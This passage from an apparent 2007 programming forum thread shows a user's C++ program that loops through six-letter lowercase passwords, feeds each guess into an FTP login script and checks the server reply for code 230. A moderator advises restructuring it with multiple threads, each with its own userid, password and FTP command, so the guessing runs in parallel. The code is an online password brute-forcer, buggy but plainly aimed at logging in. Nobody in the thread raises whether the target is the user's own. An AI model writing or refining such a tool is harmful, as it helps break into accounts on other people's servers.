  140.  
  141.  
  142.                                                       DWORD threadid;     //to hold the returned thread id
  143.                                                       HANDLE th = CreateThread(
  144.                                                              NULL,      //use default security
  145.                                                              0,      //use stack size of calling thread
  146.                                                              niskin,     //the thread
  147.                                                              &var,         //the thread input argument
  148.                                                              0,      //run immediately
  149.                                                              &threadid
  150.                                                              );
  151.                                                            cin.get();
  152.  
  153.  
  154.  
  155.                                                       }
The code compiles, and then does about 100 attempts to login, however I knew the first password should be correct, but it didn't stop the program as it should when it is successful. And after about 200 attempts the program stopped responding.
Jul 6 '07 #19
weaknessforcats
9,208 Expert Mod 8TB
You are really on the wrong track here.

Your thread needs a userid, password, and ftp command line.
I would have expected:
Expand|Select|Wrap|Line Numbers
  1. struct Data
  2.     {
  3.            char* userid;
  4.            char* password;
  5.            char* ftpcommandline;
  6.     };
  7.     Data var;
  8.  
The thread function would be:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI niskin(LPVOID arg)
  2. {
  3.       Data*  ptr = reinterpret_cast<Data*> (arg);
  4.       //
  5.       //OK. Now ptr->userid is rthe userid
  6.       //              ptr->password
  7.       //              ptr->ftpcommandline
  8.       //
  9.       //TODO: Build a string using this stuff and call the system()
  10.       system("your ftp string does here");
  11. }
  12.  
In your main() you create Data variables with the various userids, paswswords and ftp command lines and you call CreateThread() fo every one of these variables using the address of the variable as the thread argument and niskin as the thread function.

All of the reading >> >> << << , etc. stays in main().

Write a function to start the thread:
Expand|Select|Wrap|Line Numbers
  1. HANDLE StartThread(Data* arg)
  2. {
  3. DWORD threadid;     //to hold the returned thread id
  4. HANDLE th = CreateThread(
  5.                            NULL,      //use default security
  6.                      0,      //use stack size of calling thread
  7.                      niskin,     //the thread
  8.                     (LPVOID)arg,         //the thread input argument
  9.                      0,      //run immediately
  10.                     &threadid
  11.                                                              );
  12. return th;
  13. }
  14.  
Then in main() you just create a Data variable and call StartThread():
Expand|Select|Wrap|Line Numbers
  1. Data var1;
  2.         //put values to the var1 members
  3.         StartThread(&var1);
  4. Data var2;
  5.         //put values to the var2members
  6.         StartThread(&var2);
  7. Data var3;
  8.         //put values to the var3 members
  9.         StartThread(&var3);
  10.  
You can check the return from StartThread() and if ti is not null, then the thread was successfully started.
Jul 7 '07 #20
niskin
109 100+
Thanks, this is making a lot more sense now. I have compiled this and once I enter in the password, the program stops responding:

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. using namespace std;
  4. #include <windows.h>
  5.  
  6. struct Data
  7. {
  8.        char* userid;
  9.        char* password;
  10.        char* ftpcommandline;
  11. };
  12. Data var;
  13.  
  14. DWORD WINAPI niskin(LPVOID arg)
  15. {
  16.     Data*  ptr = reinterpret_cast<Data*> (arg);
  17.     char letters[100];
  18.     ifstream user ( "username.txt" );
  19.     user>> ptr->userid;
  20.     user.close();
  21.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  22.     ifstream record ( "record.txt" );
  23.     record>> letters;
  24.     record.close();
  25.       for(char a = letters[0]; a <= alphabet[25]; a++)
  26.     {
  27.              for(char b = letters[1]; b <= alphabet[25]; b++)
  28.              {
  29.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  30.                       {
  31.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  32.                            {
  33.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  34.                                     {
  35.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  36.                                              {
  37.  
  38.                                              //The LPVOID argument is the address of a struct Data (see below)
  39.                                              //Type cast arg to a Data* to access the members.
  40.                                              //do the ftp in here.
  41.                                              FILE *success;
  42.                                              success=fopen("success.txt", "w+");
  43.                                              fprintf(success, "");
  44.                                              fclose(success);
  45.                                              cout<< a << b << c << d << e << f <<"\n";
  46.                                              ofstream record ( "record.txt" );
  47.                                              record<< a << b << c << d << e << f;
  48.                                              record.close();
  49.                                              ifstream readrecord ( "record.txt" );
  50.                                              readrecord>> ptr->password;
  51.                                              ofstream ftpscript ( "ftpscript.txt" );
  52.                                              ftpscript<< ptr->userid <<"\n" << ptr->password <<"\n" <<"bye";
  53.                                              ftpscript.close();
  54.                                              char   psBuffer[128];
  55.                                              FILE   *pPipe;
  56.                                              /* Run command so that it writes its output to a pipe. Open this
  57.                                               * pipe with read text attribute so that we can read it 
  58.                                               * like a text file. 
  59.                                               */
  60.                                              if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
  61.  
  62.                                              /* Read pipe until end of file. */
  63.                                              while( !feof( pPipe ) )
  64.                                              {
  65.                                              if( fgets( psBuffer, 128, pPipe ) != NULL )
  66.                                              //printf( psBuffer );
  67.                                              FILE *success;
  68.                                              success=fopen("success.txt", "a+");
  69.                                              fprintf(success, psBuffer);
  70.                                              fclose(success);
  71.                                              }
  72.                                     }
  73.                            }    
  74.                       }
  75.              }
  76. }
  77. }
  78. }
  79.  
  80. HANDLE StartThread(Data* arg)
  81. {
  82.        DWORD threadid;     //to hold the returned thread id
  83.        HANDLE th = CreateThread(
  84.               NULL,      //use default security
  85.               0,      //use stack size of calling thread
  86.               niskin,     //the thread
  87.               (LPVOID)arg,         //the thread input argument
  88.               0,      //run immediately
  89.               &threadid
  90.               );
  91.       return th;
  92.       }
  93.  
  94. int main() {
  95.  
  96.     char letters[100];
  97.     char username[20];
  98.     cout<<"Enter the username to use: ";
  99.     cin.getline(username,20);
  100.     ofstream user ( "username.txt" );
  101.     user<< username;
  102.     user.close();
  103.     cout<<"\nEnter the letters to use: ";
  104.     cin.getline(letters,100);
  105.     ofstream record ( "record.txt" );
  106.     record<< letters;
  107.     record.close();
  108.  
  109.     if(strlen(letters)==6)
  110.     {
  111.     while(1==1){
  112.     Data var1;
  113.          //put values to the var1 members
  114.          StartThread(&var1);
  115.     /*Data var2;
  116.          //put values to the var2members
  117.          StartThread(&var2);
  118.     Data var3;
  119.          //put values to the var3 members
  120.          StartThread(&var3);*/
  121.  
  122.     char reada[20];
  123.     char readb[20];
  124.     char readc[20];
  125.     char readd[20];
  126.     char reade[20];
  127.     char readf[20];
  128.     char readg[20];
  129.     char readh[20];
  130.     char readi[20];
  131.     char readj[20];
  132.     char readk[20];
  133.     char readl[20];
  134.     char readm[20];
  135.     int readn;
  136.  
  137.     char password[20];                                                  
  138.     ifstream readrecord ("record.txt");                                                  
  139.     readrecord>> password;
  140.     ifstream read ( "success.txt" );
  141.     read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  142.     read.close();
  143.     if (readn == 230){
  144.               cout<< "\n\nYou are now logged in";
  145.               cin.get();
  146.       }
  147. }
  148.  
  149. }
Jul 8 '07 #21
weaknessforcats
9,208 Expert Mod 8TB
Data var1;
//put values to the var1 members
StartThread(&var1);
/*Data var2;
//put values to the var2members
StartThread(&var2);
Data var3;
//put values to the var3 members
StartThread(&var3);*/
I see var1 defined burt I do not see where you actually put data into the variable before you start your thread. Instead, I see a huge chunk of main()
inside your thread function (niskin). You define the variable outside the function and put information in it inside the function. That makes it a pointless argument. It also means your function is doing about 25 things. Functions shoule do about 1 thing.

Read your file., get your userid and password ands ftp command line and put that informattion in a Data variable. Then call StartThread using the address of that variable.

I say again from my Post #20, that your thread function should look like:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI niskin(LPVOID arg)
  2. {
  3.       Data*  ptr = reinterpret_cast<Data*> (arg);
  4.       //
  5.       //OK. Now ptr->userid is the userid
  6.       //              ptr->password
  7.       //              ptr->ftpcommandline
  8.       //
  9.       //TODO: Build a string using this stuff and call the system()
  10.       _popen("your ftp string does here");
  11. }
  12.  
In other words, your thread function should not have more than this in it.

Your current approach has you calling StartThread(), which launches a thread but then the thread function becomes a main(), complete with data entry.

You can't do this because when you launch a second thread, both threads will use the same ifstrream and they will trip over each other and cause your program to hang up.

When using threads, there can be no information common to more than one thread unless you establish a thing called a critical section. As a beginner in threads, just make sure that no information is shared by more than one thread.

To sum up:
1) read your file
2) get the userid, password and ftp string
3) create a Data variable
4) put the userid, password and ftp string insid ethe Data variable
5) start yout thread (call StartThread())
6) repeats steps 1-5 until you have processed the entire file
7) etc..

and be sure your thread function (niskin) looks like my example.

Good Luck.
Jul 8 '07 #22

Sign in to post your reply or Sign up for a free account.

Similar topics

1
by: Bob Helber | last post by:
I've got a perl script with a system command, within a for loop, that calls a FORTRAN program. For one of the iterations of the for loop the FORTRAN program quits with an error due to bad input. ...
3
by: RitaG | last post by:
Hi. I Have a VB.Net Windows Application that starts up using Sub Main. It's a program that runs in the background and checks something every minute. I use a Timer to accomplish this and it's...
1
by: dk | last post by:
Any idea why the response time is slow when running a system tray app when viewing the properties form? There is one primary loop and a timer control which executes every 3minutes. Is having the...
5
by: Ty Moffett | last post by:
I'm using a queue to hold a series of strings that are complete command line arguments to start the silent/unattended installation of various pieces of software. Here is some sample code. 1 Dim...
2
by: Stressed Out Developer | last post by:
We have an application that has a 200 count loop that does the following: ' Each time thru the loop we pass the next IP Address is a range (aka 192.168.4.50 thru 192.168.4.254) Try If...
5
by: MSDN | last post by:
Does anyone know why I am getting Invalid cast exception??? For Each oFile As System.web.HttpPostedFile In Request.Files ....... etc..... Next I Checked that
5
by: =?Utf-8?B?Z215ZXJz?= | last post by:
Hello, I am attempting to start a cmd.exe process and pass several .vbs scripts (with additional parameters) and then read the output from the scripts and make "notes" in a DataTable (the...
9
by: Nathan Sokalski | last post by:
I am trying to use the System.Array.ForEach method in VB.NET. The action that I want to perform on each of the Array values is: Private Function AddQuotes(ByVal value As String) As String Return...
0
by: DolphinDB | last post by:
Tired of spending countless mintues downsampling your data? Look no further! In this article, you’ll learn how to efficiently downsample 6.48 billion high-frequency records to 61 million...
0
by: ryjfgjl | last post by:
ExcelToDatabase: batch import excel into database automatically...
0
isladogs
by: isladogs | last post by:
The next Access Europe meeting will be on Wednesday 6 Mar 2024 starting at 18:00 UK time (6PM UTC) and finishing at about 19:15 (7.15PM). In this month's session, we are pleased to welcome back...
0
by: Vimpel783 | last post by:
Hello! Guys, I found this code on the Internet, but I need to modify it a little. It works well, the problem is this: Data is sent from only one cell, in this case B5, but it is necessary that data...
0
by: jfyes | last post by:
As a hardware engineer, after seeing that CEIWEI recently released a new tool for Modbus RTU Over TCP/UDP filtering and monitoring, I actively went to its official website to take a look. It turned...
1
by: PapaRatzi | last post by:
Hello, I am teaching myself MS Access forms design and Visual Basic. I've created a table to capture a list of Top 30 singles and forms to capture new entries. The final step is a form (unbound)...
1
by: Defcon1945 | last post by:
I'm trying to learn Python using Pycharm but import shutil doesn't work
0
by: af34tf | last post by:
Hi Guys, I have a domain whose name is BytesLimited.com, and I want to sell it. Does anyone know about platforms that allow me to list my domain in auction for free. Thank you
0
by: Faith0G | last post by:
I am starting a new it consulting business and it's been a while since I setup a new website. Is wordpress still the best web based software for hosting a 5 page website? The webpages will be...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.